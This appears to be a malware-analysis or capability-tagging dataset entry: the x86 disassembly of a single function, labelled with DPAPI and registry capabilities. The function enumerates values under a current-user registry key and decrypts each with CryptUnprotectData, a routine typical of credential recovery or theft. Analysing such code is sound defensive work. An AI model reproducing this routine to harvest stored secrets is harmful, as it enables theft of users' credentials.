Function at 0x408e4c
Capabilities:
Encrypt data using dpapi
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0xd
push 0
push 0
dec ecx
jne 0x408e55
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040302c
xor eax, eax
push ebp
push 0x40929b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
call fcn.00401ac0
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
push 1
push 0
push ebx
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x409011
mov dword [ebp - 0x18], 0x400
mov eax, dword [ebp - 0x18]
call fcn.00401174
mov esi, eax
jmp 0x408fec
mov dword [ebp - 0x18], 0x400
mov eax, dword [ebp - 4]
call fcn.00402e08
mov edi, eax
test edi, edi
jl 0x408fdf
inc edi
xor ebx, ebx
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 4]
mov eax, dword [eax + ebx*4]
call fcn.00408aec
lea eax, [ebp - 0x20]
push eax
push 0
lea eax, [ebp - 0x1c]
push eax
push 0
push esi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA
mov eax, dword [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
mov ecx, 1
mov edx, dword [0x408e28]
call fcn.00402fbc
add esp, 4
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
push esi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x408fd7
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + ebx*4]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x50]
mov edx, dword [ebp - 4]
mov edx, dword [edx + ebx*4]
call fcn.00402218
mov eax, dword [ebp - 0x50]
call fcn.00402274
inc eax
add eax, eax
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x34]
push eax
push 1
push 0
push 0
lea eax, [ebp - 0x3c]
push eax
push 0
lea eax, [ebp - 0x2c]
push eax
call sub.crypt32.dll_CryptUnprotectData
test eax, eax
je 0x408fd7
push dword [ebp - 0x4c]
push 0x4092b4
lea eax, [ebp - 0x54]
mov edx, dword [ebp - 4]
mov edx, dword [edx + ebx*4]
call fcn.00401cdc
push dword [ebp - 0x54]
push 0x4092c8
lea eax, [ebp - 0x4c]
mov edx, 4
call fcn.00401e10
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x58]
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
call fcn.00408cc0
push dword [ebp - 0x58]
push 0x4092d4
lea eax, [ebp - 0x4c]
mov edx, 3
call fcn.00401e10
inc ebx
dec edi
jne 0x408eda
mov edx, dword [ebp - 0x18]
mov eax, esi
call fcn.00403728
inc dword [ebp - 0xc]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push esi
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegEnumValueA
cmp eax, 0x103
jne 0x408ebe
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegCloseKey
jmp 0x409227
lea eax, [ebp - 0x44]
push eax
mov edx, dword [ebp - 0x4c]
mov eax, 0x4092d4
call fcn.0040202c
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x4c]
call fcn.00401fa4
mov edx, dword [ebp - 0x4c]
mov eax, 0x4092d4
call fcn.0040202c
mov ecx, eax
inc ecx
lea eax, [ebp - 0x4c]
mov edx, 1
call fcn.00401fe4
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x60]
mov ecx, 0x4092d4
mov edx, dword [ebp - 0x44]
call fcn.00401d9c
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x4c]
xor edx, edx
call fcn.00405920
mov edx, dword [ebp - 0x5c]
lea eax, [ebp - 0x4c]
call fcn.00401b58
lea eax, [ebp - 0x64]
push eax
mov edx, dword [ebp - 0x44]
mov eax, 0x4092e0
call fcn.0040202c
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x44]
call fcn.00401fa4
mov eax, dword [ebp - 0x64]
mov edx, 0x4092ec
call fcn.00401e94
jne 0x409227
mov edx, dword [ebp - 0x44]
mov eax, 0x4092fc
call fcn.0040202c
mov ecx, eax
lea eax, [ebp - 0x44]
mov edx, 1
call fcn.00401fe4
lea eax, [ebp - 0x40]
push eax
mov edx, dword [ebp - 0x44]
mov eax, 0x4092c8
call fcn.0040202c
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x44]
call fcn.00401fa4
mov edx, dword [ebp - 0x44]
mov eax, 0x4092c8
call fcn.0040202c
mov ecx, eax
lea eax, [ebp - 0x44]
mov edx, 1
call fcn.00401fe4
jmp 0x409212
mov edx, dword [ebp - 0x44]
mov eax, 0x4092fc
call fcn.0040202c
mov ecx, eax
lea eax, [ebp - 0x44]
mov edx, 1
call fcn.00401fe4
push dword [ebp - 0x48]
push dword [ebp - 0x40]
push 0x4092c8
lea eax, [ebp - 0x68]
push eax
mov edx, dword [ebp - 0x44]
mov eax, 0x4092c8
call fcn.0040202c
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x44]
call fcn.00401fa4
push dword [ebp - 0x68]
push 0x4092c8
lea eax, [ebp - 0x48]
mov edx, 5
call fcn.00401e10
mov edx, dword [ebp - 0x44]
mov eax, 0x4092c8
call fcn.0040202c
mov ecx, eax
lea eax, [ebp - 0x44]
mov edx, 1
call fcn.00401fe4
mov edx, dword [ebp - 0x44]
mov eax, 0x4092fc
call fcn.0040202c
mov ecx, eax
lea eax, [ebp - 0x44]
mov edx, 1
call fcn.00401fe4
push dword [ebp - 0x48]
lea eax, [ebp - 0x6c]
push eax
mov edx, dword [ebp - 0x44]
mov eax, 0x4092c8
call fcn.0040202c
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x44]
call fcn.00401fa4
push dword [ebp - 0x6c]
push 0x4092c8
lea eax, [ebp - 0x48]
mov edx, 3
call fcn.00401e10
mov edx, dword [ebp - 0x44]
mov eax, 0x4092c8
call fcn.0040202c
mov ecx, eax
lea eax, [ebp - 0x44]
mov edx, 1
call fcn.00401fe4
lea eax, [ebp - 0x48]
mov edx, 0x4092d4
call fcn.00401d58
mov edx, dword [ebp - 0x44]
mov eax, 0x4092c8
call fcn.0040202c
test eax, eax
jg 0x40911b
mov edx, dword [ebp - 0x4c]
mov eax, 0x4092d4
call fcn.0040202c
test eax, eax
jg 0x40901f
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x48]
call fcn.00401b14
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4092a2
lea eax, [ebp - 0x6c]
mov edx, 7
call fcn.00401ae4
lea eax, [ebp - 0x50]
call fcn.00402108
lea eax, [ebp - 0x4c]
mov edx, 4
call fcn.00401ae4
lea eax, [ebp - 0x24]
mov edx, dword [0x408e28]
call fcn.00402fc8
lea eax, [ebp - 0x10]
call fcn.00401ac0
lea eax, [ebp - 4]
mov edx, dword [0x408724]
call fcn.00402fc8
ret